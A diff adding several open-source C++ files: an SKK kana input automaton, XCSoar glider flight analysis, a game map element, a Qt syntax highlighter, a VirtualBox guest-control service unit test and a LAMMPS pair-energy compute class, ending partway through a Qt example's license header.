diff --git a/pool/shard011/C++/0118403_scim_skk_automaton.cpp b/pool/shard011/C++/0118403_scim_skk_automaton.cpp new file mode 100644 index 0000000000000000000000000000000000000000..36a79c8904194c1ab437abf907099a65a75fad2e --- /dev/null +++ b/pool/shard011/C++/0118403_scim_skk_automaton.cpp @@ -0,0 +1,268 @@ +/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ +/* + * Copyright (C) 2004 Hiroyuki Ikezoe + * Copyright (C) 2004 Takuro Ashie + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2, or (at your option) + * any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + +#include "scim_skk_automaton.h" +#include "conv_table.h" + +using namespace scim_skk; + + +ConvEntry::ConvEntry (WideString s, WideString r, WideString c) + : str (s), res (r), cont (c) +{ +} + +ConvEntry::ConvEntry (WideString s, WideString r) + : str (s), res (r) +{ +} + +SKKAutomaton::SKKAutomaton (WideString title) + : m_exact_match (NULL), + m_title (title), + m_period_style(PERIOD_STYLE_TEN_MARU) +{ + set_period_style(PERIOD_STYLE_TEN_MARU); +} + +SKKAutomaton::~SKKAutomaton () +{ +} + +WideString& +SKKAutomaton::get_title (void) +{ + return m_title; +} + +void +SKKAutomaton::set_title (const WideString &title) +{ + m_title = title; +} + +bool +SKKAutomaton::append (const String & str, WideString & result) +{ + WideString widestr = utf8_mbstowcs (str); + WideString newstr = m_pending + widestr; + const ConvEntry *exact_match = NULL; + bool has_partial_match = false; + bool retval = false; + ConvEntry *tmp_entry = NULL; + + /* FIXME! should be optimized */ + + /* find matched table */ + for (std::list::const_iterator it = m_rules.begin(); + it != m_rules.end(); + it++) { + /* matching */ + const WideString &roma = it->str; + if (roma.find (newstr) == 0) { + if (roma.length () == newstr.length ()) { + /* exact match */ + for (std::list::const_iterator j = m_period_rules.begin(); j != m_period_rules.end(); j++) { + if (j->str.compare(it->res) == 0) { + tmp_entry = new ConvEntry(it->str, j->res); + exact_match = tmp_entry; + break; + } + } + if (!tmp_entry) + exact_match = &(*it); + } else { + /* partial match */ + has_partial_match = true; + } + } + } + + /* return result */ + if (has_partial_match) { + m_exact_match = exact_match; + result.clear (); + m_pending += widestr; + } else if (exact_match) { + if (exact_match->cont.empty()) + m_exact_match = NULL; + else + m_exact_match = exact_match; + m_pending = exact_match->cont; + result += exact_match->res; + } else { + retval = true; /* commit prev pending */ + if (m_exact_match) { + WideString tmp_result; + + if (!(m_exact_match->res.empty()) && + m_exact_match->cont.empty()) { + result += m_exact_match->res; + } + m_pending.clear(); + m_exact_match = NULL; + + append(str, tmp_result); + result += tmp_result; + } else { + if (m_pending.length () > 0) { + m_pending.clear(); + append(str, result); + } else { + result.clear(); + for (int i = 0; i < str.size(); i++) { + if (isalpha(str[i])) + m_pending += widestr[i]; + } + } + } + } + + if (tmp_entry) + delete tmp_entry; + return retval; +} + +void +SKKAutomaton::clear (void) +{ + m_pending.clear (); + m_exact_match = NULL; +} + +bool +SKKAutomaton::is_pending (void) +{ + if (m_pending.length () > 0) + return true; + else + return false; +} + +WideString& +SKKAutomaton::get_pending (void) +{ + return m_pending; +} + +void +SKKAutomaton::set_pending (WideString &pending) +{ + m_pending = pending; +} + +WideString +SKKAutomaton::flush_pending (void) +{ + WideString result; + if (m_exact_match && + !(m_exact_match->res.empty()) && m_exact_match->cont.empty()) { + result = m_exact_match->res; + } + clear(); + return result; +} + +void +SKKAutomaton::set_rules (ConvRule *rules) +{ + clear_rules(); + append_rules(rules); +} + +void +SKKAutomaton::append_rules (ConvRule *rules) +{ + for (unsigned int i = 0; rules[i].string; i++) { + m_rules.push_front(ConvEntry(utf8_mbstowcs(rules[i].string), + utf8_mbstowcs(rules[i].result), + utf8_mbstowcs(rules[i].cont))); + } +} + +void +SKKAutomaton::replace_rules (ConvRule *rules) +{ + for (std::list::iterator it = m_rules.begin(); + it != m_rules.end(); ) { + bool flag = true; + for (unsigned int i = 0; rules[i].string; i++) { + if (it->str == utf8_mbstowcs(rules[i].string)) { + it = m_rules.erase(it); + flag = false; + break; + } + } + if (flag) it++; + } + append_rules (rules); +} + +void +SKKAutomaton::clear_rules (void) +{ + m_rules.clear(); +} + +void +SKKAutomaton::append_rule (String &key, std::vector &vals) +{ + if (vals.size() > 1) { + m_rules.push_back(ConvEntry(utf8_mbstowcs(key), + utf8_mbstowcs(vals[0]), + utf8_mbstowcs(vals[1]))); + } else { + m_rules.push_back(ConvEntry(utf8_mbstowcs(key), + utf8_mbstowcs(vals[0]), + WideString())); + } +} + + +PeriodStyle +SKKAutomaton::get_period_style (void) +{ + return m_period_style; +} + +void +SKKAutomaton::set_period_style (PeriodStyle newstyle) +{ + ConvRule *rules; + m_period_style = newstyle; + switch(m_period_style) { + case PERIOD_STYLE_TEN_MARU: + rules = period_rule_ten_maru; + break; + case PERIOD_STYLE_COMMA_PERIOD: + rules = period_rule_comma_period; + break; + case PERIOD_STYLE_HALF_COMMA_PERIOD: + rules = period_rule_half_comma_period; + break; + case PERIOD_STYLE_COMMA_MARU: + rules = period_rule_comma_maru; + break; + } + for (unsigned int i = 0; rules[i].string; i++) { + m_period_rules.push_front(ConvEntry(utf8_mbstowcs(rules[i].string), + utf8_mbstowcs(rules[i].result))); + } +} diff --git a/pool/shard011/C++/0118405_AnalyseFlight.cpp b/pool/shard011/C++/0118405_AnalyseFlight.cpp new file mode 100644 index 0000000000000000000000000000000000000000..c79efadaf3279bd90991119c3e18e936982f6d20 --- /dev/null +++ b/pool/shard011/C++/0118405_AnalyseFlight.cpp @@ -0,0 +1,181 @@ +/* Copyright_License { + + XCSoar Glide Computer - http://www.xcsoar.org/ + Copyright (C) 2000-2014 The XCSoar Project + A detailed list of copyright holders can be found in the file "AUTHORS". + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. +} +*/ + +#include "AnalyseFlight.hpp" +#include "DebugReplay.hpp" +#include "Engine/Trace/Trace.hpp" +#include "Contest/ContestManager.hpp" +#include "Math/Angle.hpp" +#include "Time/BrokenDateTime.hpp" +#include "Computer/CirclingComputer.hpp" +#include "Computer/Wind/Computer.hpp" +#include "Computer/Settings.hpp" +#include "FlightPhaseDetector.hpp" + +#include + +void +Run(DebugReplay &replay, FlightPhaseDetector &flight_phase_detector, + WindList &wind_list, + const BrokenDateTime &takeoff_time, + const BrokenDateTime &scoring_start_time, + const BrokenDateTime &scoring_end_time, + const BrokenDateTime &landing_time, + Trace &full_trace, Trace &triangle_trace, Trace &sprint_trace) +{ + GeoPoint last_location = GeoPoint::Invalid(); + constexpr Angle max_longitude_change = Angle::Degrees(30); + constexpr Angle max_latitude_change = Angle::Degrees(1); + + CirclingSettings circling_settings; + circling_settings.SetDefaults(); + CirclingComputer circling_computer; + + GlidePolar glide_polar(fixed(0)); + + WindSettings wind_settings; + wind_settings.SetDefaults(); + + WindComputer wind_computer; + wind_computer.Reset(); + + Validity last_wind; + last_wind.Clear(); + + const int64_t takeoff_unix = takeoff_time.ToUnixTimeUTC(); + const int64_t landing_unix = landing_time.ToUnixTimeUTC(); + + + int64_t scoring_start_unix, scoring_end_unix; + + if (scoring_start_time.IsPlausible()) + scoring_start_unix = scoring_start_time.ToUnixTimeUTC(); + else + scoring_start_unix = std::numeric_limits::max(); + + if (scoring_end_time.IsPlausible()) + scoring_end_unix = scoring_end_time.ToUnixTimeUTC(); + else + scoring_end_unix = 0; + + + while (replay.Next()) { + const MoreData &basic = replay.Basic(); + const int64_t date_time_utc = basic.date_time_utc.ToUnixTimeUTC(); + + if (date_time_utc < takeoff_unix) + continue; + + if (date_time_utc > landing_unix) + break; + + circling_computer.TurnRate(replay.SetCalculated(), + replay.Basic(), + replay.Calculated().flight); + circling_computer.Turning(replay.SetCalculated(), + replay.Basic(), + replay.Calculated().flight, + circling_settings); + + flight_phase_detector.Update(replay.Basic(), replay.Calculated()); + + wind_computer.Compute(wind_settings, glide_polar, basic, + replay.SetCalculated()); + + if (replay.Calculated().estimated_wind_available.Modified(last_wind)) { + wind_list.push_back(WindListItem(basic.date_time_utc, basic.gps_altitude, + replay.Calculated().estimated_wind)); + } + + last_wind = replay.Calculated().estimated_wind_available; + + if (!basic.time_available || !basic.location_available || + !basic.NavAltitudeAvailable()) + continue; + + if (last_location.IsValid() && + ((last_location.latitude - basic.location.latitude).Absolute() > max_latitude_change || + (last_location.longitude - basic.location.longitude).Absolute() > max_longitude_change)) + /* there was an implausible warp, which is usually triggered by + an invalid point declared "valid" by a bugged logger; if that + happens, we stop the analysis, because the IGC file is + obviously broken */ + break; + + last_location = basic.location; + + if (date_time_utc >= scoring_start_unix && date_time_utc <= scoring_end_unix) { + const TracePoint point(basic); + full_trace.push_back(point); + triangle_trace.push_back(point); + sprint_trace.push_back(point); + } + } + + flight_phase_detector.Finish(); +} + +ContestStatistics +SolveContest(Contest contest, + Trace &full_trace, Trace &triangle_trace, Trace &sprint_trace, + const unsigned max_iterations, const unsigned max_tree_size) +{ + ContestManager manager(contest, full_trace, triangle_trace, sprint_trace); + manager.SolveExhaustive(max_iterations, max_tree_size); + return manager.GetStats(); +} + +void AnalyseFlight(DebugReplay &replay, + const BrokenDateTime &takeoff_time, + const BrokenDateTime &scoring_start_time, + const BrokenDateTime &scoring_end_time, + const BrokenDateTime &landing_time, + ContestStatistics &olc_plus, + ContestStatistics &dmst, + PhaseList &phase_list, + PhaseTotals &phase_totals, + WindList &wind_list, + const unsigned full_points, + const unsigned triangle_points, + const unsigned sprint_points, + const unsigned max_iterations, + const unsigned max_tree_size) +{ + Trace full_trace(0, Trace::null_time, full_points); + Trace triangle_trace(0, Trace::null_time, triangle_points); + Trace sprint_trace(0, 9000, sprint_points); + FlightPhaseDetector flight_phase_detector; + + Run(replay, flight_phase_detector, wind_list, + takeoff_time, scoring_start_time, scoring_end_time, landing_time, + full_trace, triangle_trace, sprint_trace); + + olc_plus = SolveContest(Contest::OLC_PLUS, + full_trace, triangle_trace, sprint_trace, + max_iterations, max_tree_size); + dmst = SolveContest(Contest::DMST, + full_trace, triangle_trace, sprint_trace, + max_iterations, max_tree_size); + + phase_list = flight_phase_detector.GetPhases(); + phase_totals = flight_phase_detector.GetTotals(); +} diff --git a/pool/shard011/C++/0118406_soldier_spawn_point_map_element.cpp b/pool/shard011/C++/0118406_soldier_spawn_point_map_element.cpp new file mode 100644 index 0000000000000000000000000000000000000000..2d21fb70e093432d02483993079603977e2540ff --- /dev/null +++ b/pool/shard011/C++/0118406_soldier_spawn_point_map_element.cpp @@ -0,0 +1,55 @@ +#include "core/map/soldier_spawn_point_map_element.h" + +namespace map { + +SoldierSpawnPointMapElement::SoldierSpawnPointMapElement( int32_t Id ) + : MapElement( Id ) + , mX( 0 ) + , mY( 0 ) +{ +} + +void SoldierSpawnPointMapElement::Load( Json::Value& setters ) +{ + MapElement::Load( setters ); + Json::Value const& position = setters["position"]; + if( !position.isObject() ) + { + return; + } + int32_t x; + if ( !Json::GetInt( position["x"], x ) ) + { + return; + } + SetX( x ); + int32_t y; + if ( !Json::GetInt( position["y"], y ) ) + { + return; + } + SetY( y ); +} + +void SoldierSpawnPointMapElement::SetX( int32_t x ) +{ + mX = x; +} + +int32_t SoldierSpawnPointMapElement::GetX()const +{ + return mX; +} + +void SoldierSpawnPointMapElement::SetY( int32_t y ) +{ + mY = y; +} + +int32_t SoldierSpawnPointMapElement::GetY()const +{ + return mY; +} + + +} // namespace map diff --git a/pool/shard011/C++/0118407_SyntaxHighlighter.cpp b/pool/shard011/C++/0118407_SyntaxHighlighter.cpp new file mode 100644 index 0000000000000000000000000000000000000000..1de0d9d893f3cf0aa278c25f0908c8af7b0dc804 --- /dev/null +++ b/pool/shard011/C++/0118407_SyntaxHighlighter.cpp @@ -0,0 +1,65 @@ +/* Copyright (C) Tim van Mourik, 2014-2016 + Copyright (C) Tim van Mourik, 2017, DCCN + All rights reserved + + This file is part of the Porcupine pipeline tool, see + https://github.com/TimVanMourik/Porcupine for the documentation and + details. + + This toolbox is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This toolbox is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with the fmri analysis toolbox. If not, see + . +*/ + +#include "SyntaxHighlighter.hpp" + +SyntaxHighlighter::SyntaxHighlighter( + QTextDocument* _parent + ) : + QSyntaxHighlighter(_parent) +{ +} + +void SyntaxHighlighter::highlightBlock( + const QString& _text + ) +{ + foreach(const HighlightingRule& rule, m_highlightingRules) + { + QRegExp expression(rule.pattern); + int index = expression.indexIn(_text); + while(index >= 0) + { + int length = expression.matchedLength(); + setFormat(index, length, rule.format); + index = expression.indexIn(_text, index + length); + } + } + setCurrentBlockState(0); +} + +void SyntaxHighlighter::addHighlightRule( + const QRegExp& _expression, + const QTextCharFormat& _format + ) +{ + HighlightingRule rule; + rule.pattern = _expression; + rule.format = _format; + m_highlightingRules.append(rule); +} + +SyntaxHighlighter::~SyntaxHighlighter() +{ + +} diff --git a/pool/shard011/C++/0118408_tstGuestControlSvc.cpp b/pool/shard011/C++/0118408_tstGuestControlSvc.cpp new file mode 100644 index 0000000000000000000000000000000000000000..39b940dc683126779cb412860b9f82d52aac8f76 --- /dev/null +++ b/pool/shard011/C++/0118408_tstGuestControlSvc.cpp @@ -0,0 +1,302 @@ +/* $Id: tstGuestControlSvc.cpp $ */ +/** @file + * + * Testcase for the guest control service. + */ + +/* + * Copyright (C) 2011 Oracle Corporation + * + * This file is part of VirtualBox Open Source Edition (OSE), as + * available from http://www.virtualbox.org. This file is free software; + * you can redistribute it and/or modify it under the terms of the GNU + * General Public License (GPL) as published by the Free Software + * Foundation, in version 2 as it comes in the "COPYING" file of the + * VirtualBox OSE distribution. VirtualBox OSE is distributed in the + * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. + */ + +/******************************************************************************* +* Header Files * +*******************************************************************************/ +#include +#include +#include +#include + +#include "../gctrl.h" + +/******************************************************************************* +* Global Variables * +*******************************************************************************/ +static RTTEST g_hTest = NIL_RTTEST; + +using namespace guestControl; + +extern "C" DECLCALLBACK(DECLEXPORT(int)) VBoxHGCMSvcLoad(VBOXHGCMSVCFNTABLE *pTable); + +/** Simple call handle structure for the guest call completion callback */ +struct VBOXHGCMCALLHANDLE_TYPEDEF +{ + /** Where to store the result code. */ + int32_t rc; +}; + +/** Call completion callback for guest calls. */ +static void callComplete(VBOXHGCMCALLHANDLE callHandle, int32_t rc) +{ + callHandle->rc = rc; +} + +/** + * Initialise the HGCM service table as much as we need to start the + * service. + * + * @return IPRT status. + * @param pTable the table to initialise + */ +int initTable(VBOXHGCMSVCFNTABLE *pTable, VBOXHGCMSVCHELPERS *pHelpers) +{ + pTable->cbSize = sizeof (VBOXHGCMSVCFNTABLE); + pTable->u32Version = VBOX_HGCM_SVC_VERSION; + pHelpers->pfnCallComplete = callComplete; + pTable->pHelpers = pHelpers; + + return VINF_SUCCESS; +} + +typedef struct CMDHOST +{ + /** The HGCM command to execute. */ + int cmd; + /** Number of parameters. */ + int num_parms; + /** The actual parameters. */ + const PVBOXHGCMSVCPARM parms; + /** Flag indicating whether we need a connected client for this command. */ + bool fNeedsClient; + /** The desired return value from the host. */ + int rc; +} CMDHOST, *PCMDHOST; + +typedef struct CMDCLIENT +{ + /** The client's ID. */ + int client_id; + /** The HGCM command to execute. */ + int cmd; + /** Number of parameters. */ + int num_parms; + /** The actual parameters. */ + const PVBOXHGCMSVCPARM parms; + /** The desired return value from the host. */ + int rc; +} CMDCLIENT, *PCMDCLIENT; + +/** + * Tests the HOST_EXEC_CMD function. + * @returns iprt status value to indicate whether the test went as expected. + * @note prints its own diagnostic information to stdout. + */ +static int testHostCmd(const VBOXHGCMSVCFNTABLE *pTable, const PCMDHOST pCmd, uint32_t uNumTests) +{ + int rc = VINF_SUCCESS; + if (!VALID_PTR(pTable->pfnHostCall)) + { + RTTestPrintf(g_hTest, RTTESTLVL_FAILURE, "Invalid pfnHostCall() pointer\n"); + rc = VERR_INVALID_POINTER; + } + if (RT_SUCCESS(rc)) + { + for (unsigned i = 0; (i < uNumTests) && RT_SUCCESS(rc); i++) + { + RTTestPrintf(g_hTest, RTTESTLVL_INFO, "Testing #%u (cmd: %d, num_parms: %d, parms: 0x%p\n", + i, pCmd[i].cmd, pCmd[i].num_parms, pCmd[i].parms); + + if (pCmd[i].fNeedsClient) + { + int client_rc = pTable->pfnConnect(pTable->pvService, 1000 /* Client ID */, NULL /* pvClient */); + if (RT_FAILURE(client_rc)) + rc = client_rc; + } + + if (RT_SUCCESS(rc)) + { + int host_rc = pTable->pfnHostCall(pTable->pvService, + pCmd[i].cmd, + pCmd[i].num_parms, + pCmd[i].parms); + if (host_rc != pCmd[i].rc) + { + RTTestPrintf(g_hTest, RTTESTLVL_FAILURE, "Host call test #%u returned with rc=%Rrc instead of rc=%Rrc\n", + i, host_rc, pCmd[i].rc); + rc = host_rc; + if (RT_SUCCESS(rc)) + rc = VERR_INVALID_PARAMETER; + } + + if (pCmd[i].fNeedsClient) + { + int client_rc = pTable->pfnDisconnect(pTable->pvService, 1000 /* Client ID */, NULL /* pvClient */); + if (RT_SUCCESS(rc)) + rc = client_rc; + } + } + } + } + return rc; +} + +static int testHost(const VBOXHGCMSVCFNTABLE *pTable) +{ + RTTestSub(g_hTest, "Testing host commands ..."); + + static VBOXHGCMSVCPARM s_aParms[1]; + s_aParms[0].setUInt32(1000 /* Context ID */); + + static CMDHOST s_aCmdHostAll[] = + { + /** No client connected, invalid command. */ + { 1024 /* Not existing command */, 0, 0, false, VERR_NOT_SUPPORTED }, + { -1 /* Invalid command */, 0, 0, false, VERR_NOT_SUPPORTED }, + { HOST_CANCEL_PENDING_WAITS, 1024, 0, false, VERR_NOT_FOUND }, + { HOST_CANCEL_PENDING_WAITS, 0, &s_aParms[0], false, VERR_NOT_FOUND }, + + /** No client connected, valid command. */ + { HOST_CANCEL_PENDING_WAITS, 0, 0, false, VERR_NOT_FOUND }, + + /** Client connected. */ + { 1024 /* Not existing command */, 0, 0, true, VERR_NOT_SUPPORTED }, + { -1 /* Invalid command */, 0, 0, true, VERR_NOT_SUPPORTED }, + + /** Client connected, valid parameters given. */ + { HOST_CANCEL_PENDING_WAITS, 0, 0, true, VINF_SUCCESS }, + { HOST_CANCEL_PENDING_WAITS, 1024, &s_aParms[0], true, VINF_SUCCESS }, + { HOST_CANCEL_PENDING_WAITS, 0, &s_aParms[0], true, VINF_SUCCESS}, + + /** Client connected, invalid parameters given. */ + { HOST_CANCEL_PENDING_WAITS, 1024, 0, true, VERR_INVALID_POINTER }, + { HOST_CANCEL_PENDING_WAITS, 1, 0, true, VERR_INVALID_POINTER }, + { HOST_CANCEL_PENDING_WAITS, -1, 0, true, VERR_INVALID_POINTER }, + + /** Client connected, parameters given. */ + { HOST_CANCEL_PENDING_WAITS, 1, &s_aParms[0], true, VINF_SUCCESS }, + { HOST_EXEC_CMD, 1, &s_aParms[0], true, VINF_SUCCESS }, + { HOST_EXEC_SET_INPUT, 1, &s_aParms[0], true, VINF_SUCCESS }, + { HOST_EXEC_GET_OUTPUT, 1, &s_aParms[0], true, VINF_SUCCESS } + }; + + int rc = testHostCmd(pTable, &s_aCmdHostAll[0], RT_ELEMENTS(s_aCmdHostAll)); + RTTestSubDone(g_hTest); + return rc; +} + +static int testClient(const VBOXHGCMSVCFNTABLE *pTable) +{ + RTTestSub(g_hTest, "Testing client commands ..."); + + int rc = pTable->pfnConnect(pTable->pvService, 1 /* Client ID */, NULL /* pvClient */); + if (RT_SUCCESS(rc)) + { + VBOXHGCMCALLHANDLE_TYPEDEF callHandle = { VINF_SUCCESS }; + + /* No commands from host yet. */ + static VBOXHGCMSVCPARM s_aParmsGuest[8]; + pTable->pfnCall(pTable->pvService, &callHandle, 1 /* Client ID */, NULL /* pvClient */, + GUEST_GET_HOST_MSG, 2, &s_aParmsGuest[0]); + RTTEST_CHECK_RC_RET(g_hTest, callHandle.rc, VINF_SUCCESS, callHandle.rc); + + /* Host: Add a dummy command. */ + static VBOXHGCMSVCPARM s_aParmsHost[8]; + s_aParmsHost[0].setUInt32(1000 /* Context ID */); + s_aParmsHost[1].setString("foo.bar"); + + rc = pTable->pfnHostCall(pTable->pvService, HOST_EXEC_CMD, 2, &s_aParmsHost[0]); + RTTEST_CHECK_RC_RET(g_hTest, rc, VINF_SUCCESS, rc); + + /* Client: Get host command with a invalid parameter count specified. */ + pTable->pfnCall(pTable->pvService, &callHandle, 1 /* Client ID */, NULL /* pvClient */, + GUEST_GET_HOST_MSG, 1024, &s_aParmsGuest[0]); + RTTEST_CHECK_RC_RET(g_hTest, callHandle.rc, VERR_INVALID_PARAMETER, callHandle.rc); + pTable->pfnCall(pTable->pvService, &callHandle, 1 /* Client ID */, NULL /* pvClient */, + GUEST_GET_HOST_MSG, -1, &s_aParmsGuest[0]); + RTTEST_CHECK_RC_RET(g_hTest, callHandle.rc, VERR_INVALID_PARAMETER, callHandle.rc); + pTable->pfnCall(pTable->pvService, &callHandle, 1 /* Client ID */, NULL /* pvClient */, + GUEST_GET_HOST_MSG, -1, NULL); + RTTEST_CHECK_RC_RET(g_hTest, callHandle.rc, VERR_INVALID_PARAMETER, callHandle.rc); + pTable->pfnCall(pTable->pvService, &callHandle, 1 /* Client ID */, NULL /* pvClient */, + GUEST_GET_HOST_MSG, 16, NULL); + RTTEST_CHECK_RC_RET(g_hTest, callHandle.rc, VERR_INVALID_PARAMETER, callHandle.rc); + + /* Client: Get host command with a too small HGCM array. */ + pTable->pfnCall(pTable->pvService, &callHandle, 1 /* Client ID */, NULL /* pvClient */, + GUEST_GET_HOST_MSG, 0, &s_aParmsGuest[0]); + RTTEST_CHECK_RC_RET(g_hTest, callHandle.rc, VERR_TOO_MUCH_DATA, callHandle.rc); + pTable->pfnCall(pTable->pvService, &callHandle, 1 /* Client ID */, NULL /* pvClient */, + GUEST_GET_HOST_MSG, 1, &s_aParmsGuest[0]); + RTTEST_CHECK_RC_RET(g_hTest, callHandle.rc, VERR_TOO_MUCH_DATA, callHandle.rc); + + /* Client: Get host command without an allocated buffer. */ + pTable->pfnCall(pTable->pvService, &callHandle, 1 /* Client ID */, NULL /* pvClient */, + GUEST_GET_HOST_MSG, 2, &s_aParmsGuest[0]); + RTTEST_CHECK_RC_RET(g_hTest, callHandle.rc, VERR_BUFFER_OVERFLOW, callHandle.rc); + + /* Client: Get host command, this time with a valid buffer. */ + char szBuf[16]; + s_aParmsGuest[1].setPointer(szBuf, sizeof(szBuf)); + pTable->pfnCall(pTable->pvService, &callHandle, 1 /* Client ID */, NULL /* pvClient */, + GUEST_GET_HOST_MSG, 2, &s_aParmsGuest[0]); + RTTEST_CHECK_RC_RET(g_hTest, callHandle.rc, VINF_SUCCESS, callHandle.rc); + + /* Client: Now make sure there's no host message left anymore. */ + pTable->pfnCall(pTable->pvService, &callHandle, 1 /* Client ID */, NULL /* pvClient */, + GUEST_GET_HOST_MSG, 2, &s_aParmsGuest[0]); + RTTEST_CHECK_RC_RET(g_hTest, callHandle.rc, VINF_SUCCESS, callHandle.rc); + + /* Client: Disconnect again. */ + int rc2 = pTable->pfnDisconnect(pTable->pvService, 1000 /* Client ID */, NULL /* pvClient */); + if (RT_SUCCESS(rc)) + rc = rc2; + } + + RTTestSubDone(g_hTest); + return rc; +} + +/* + * Set environment variable "IPRT_TEST_MAX_LEVEL=all" to get more debug output! + */ +int main(int argc, char **argv) +{ + RTEXITCODE rcExit = RTTestInitAndCreate("tstGuestControlSvc", &g_hTest); + if (rcExit != RTEXITCODE_SUCCESS) + return rcExit; + RTTestBanner(g_hTest); + + /* Some host info. */ + RTTestIPrintf(RTTESTLVL_ALWAYS, "sizeof(void*)=%d\n", sizeof(void*)); + + /* Do the tests. */ + VBOXHGCMSVCFNTABLE svcTable; + VBOXHGCMSVCHELPERS svcHelpers; + RTTEST_CHECK_RC_RET(g_hTest, initTable(&svcTable, &svcHelpers), VINF_SUCCESS, 1); + + do + { + RTTESTI_CHECK_RC_BREAK(VBoxHGCMSvcLoad(&svcTable), VINF_SUCCESS); + + RTTESTI_CHECK_RC_BREAK(testHost(&svcTable), VINF_SUCCESS); + + RTTESTI_CHECK_RC_BREAK(svcTable.pfnUnload(svcTable.pvService), VINF_SUCCESS); + + RTTESTI_CHECK_RC_BREAK(VBoxHGCMSvcLoad(&svcTable), VINF_SUCCESS); + + RTTESTI_CHECK_RC_BREAK(testClient(&svcTable), VINF_SUCCESS); + + RTTESTI_CHECK_RC_BREAK(svcTable.pfnUnload(svcTable.pvService), VINF_SUCCESS); + + } while (0); + + return RTTestSummaryAndDestroy(g_hTest); +} + diff --git a/pool/shard011/C++/0118410_compute_pair.cpp b/pool/shard011/C++/0118410_compute_pair.cpp new file mode 100644 index 0000000000000000000000000000000000000000..444395bae5dc999fbf9181be76822762a2eeec58 --- /dev/null +++ b/pool/shard011/C++/0118410_compute_pair.cpp @@ -0,0 +1,120 @@ +/* ---------------------------------------------------------------------- + LAMMPS - Large-scale Atomic/Molecular Massively Parallel Simulator + http://lammps.sandia.gov, Sandia National Laboratories + Steve Plimpton, sjplimp@sandia.gov + + Copyright (2003) Sandia Corporation. Under the terms of Contract + DE-AC04-94AL85000 with Sandia Corporation, the U.S. Government retains + certain rights in this software. This software is distributed under + the GNU General Public License. + + See the README file in the top-level LAMMPS directory. +------------------------------------------------------------------------- */ + +#include +#include +#include "compute_pair.h" +#include "update.h" +#include "force.h" +#include "pair.h" +#include "error.h" + +using namespace LAMMPS_NS; + +enum{EPAIR,EVDWL,ECOUL}; + +/* ---------------------------------------------------------------------- */ + +ComputePair::ComputePair(LAMMPS *lmp, int narg, char **arg) : + Compute(lmp, narg, arg), + pstyle(NULL), pair(NULL), one(NULL) +{ + if (narg < 4 || narg > 5) error->all(FLERR,"Illegal compute pair command"); + + scalar_flag = 1; + extscalar = 1; + peflag = 1; + timeflag = 1; + + int n = strlen(arg[3]) + 1; + if (lmp->suffix) n += strlen(lmp->suffix) + 1; + pstyle = new char[n]; + strcpy(pstyle,arg[3]); + + if (narg == 5) { + if (strcmp(arg[4],"epair") == 0) evalue = EPAIR; + if (strcmp(arg[4],"evdwl") == 0) evalue = EVDWL; + if (strcmp(arg[4],"ecoul") == 0) evalue = ECOUL; + } else evalue = EPAIR; + + // check if pair style with and without suffix exists + + pair = force->pair_match(pstyle,1); + if (!pair && lmp->suffix) { + strcat(pstyle,"/"); + strcat(pstyle,lmp->suffix); + pair = force->pair_match(pstyle,1); + } + + if (!pair) + error->all(FLERR,"Unrecognized pair style in compute pair command"); + npair = pair->nextra; + + if (npair) { + vector_flag = 1; + size_vector = npair; + extvector = 1; + one = new double[npair]; + vector = new double[npair]; + } else one = vector = NULL; +} + +/* ---------------------------------------------------------------------- */ + +ComputePair::~ComputePair() +{ + delete [] pstyle; + delete [] one; + delete [] vector; +} + +/* ---------------------------------------------------------------------- */ + +void ComputePair::init() +{ + // recheck for pair style in case it has been deleted + + pair = force->pair_match(pstyle,1); + if (!pair) + error->all(FLERR,"Unrecognized pair style in compute pair command"); +} + +/* ---------------------------------------------------------------------- */ + +double ComputePair::compute_scalar() +{ + invoked_scalar = update->ntimestep; + if (update->eflag_global != invoked_scalar) + error->all(FLERR,"Energy was not tallied on needed timestep"); + + double eng; + if (evalue == EPAIR) eng = pair->eng_vdwl + pair->eng_coul; + else if (evalue == EVDWL) eng = pair->eng_vdwl; + else if (evalue == ECOUL) eng = pair->eng_coul; + + MPI_Allreduce(&eng,&scalar,1,MPI_DOUBLE,MPI_SUM,world); + return scalar; +} + +/* ---------------------------------------------------------------------- */ + +void ComputePair::compute_vector() +{ + invoked_vector = update->ntimestep; + if (update->eflag_global != invoked_vector) + error->all(FLERR,"Energy was not tallied on needed timestep"); + + for (int i = 0; i < npair; i++) + one[i] = pair->pvector[i]; + MPI_Allreduce(one,vector,npair,MPI_DOUBLE,MPI_SUM,world); +} diff --git a/pool/shard011/C++/0118412_main.cpp b/pool/shard011/C++/0118412_main.cpp new file mode 100644 index 0000000000000000000000000000000000000000..2fd7ac6f2c30f84be79f87855fc0de1d70fe4a09 --- /dev/null +++ b/pool/shard011/C++/0118412_main.cpp @@ -0,0 +1,59 @@ +/**************************************************************************** +** +** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/legal +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * 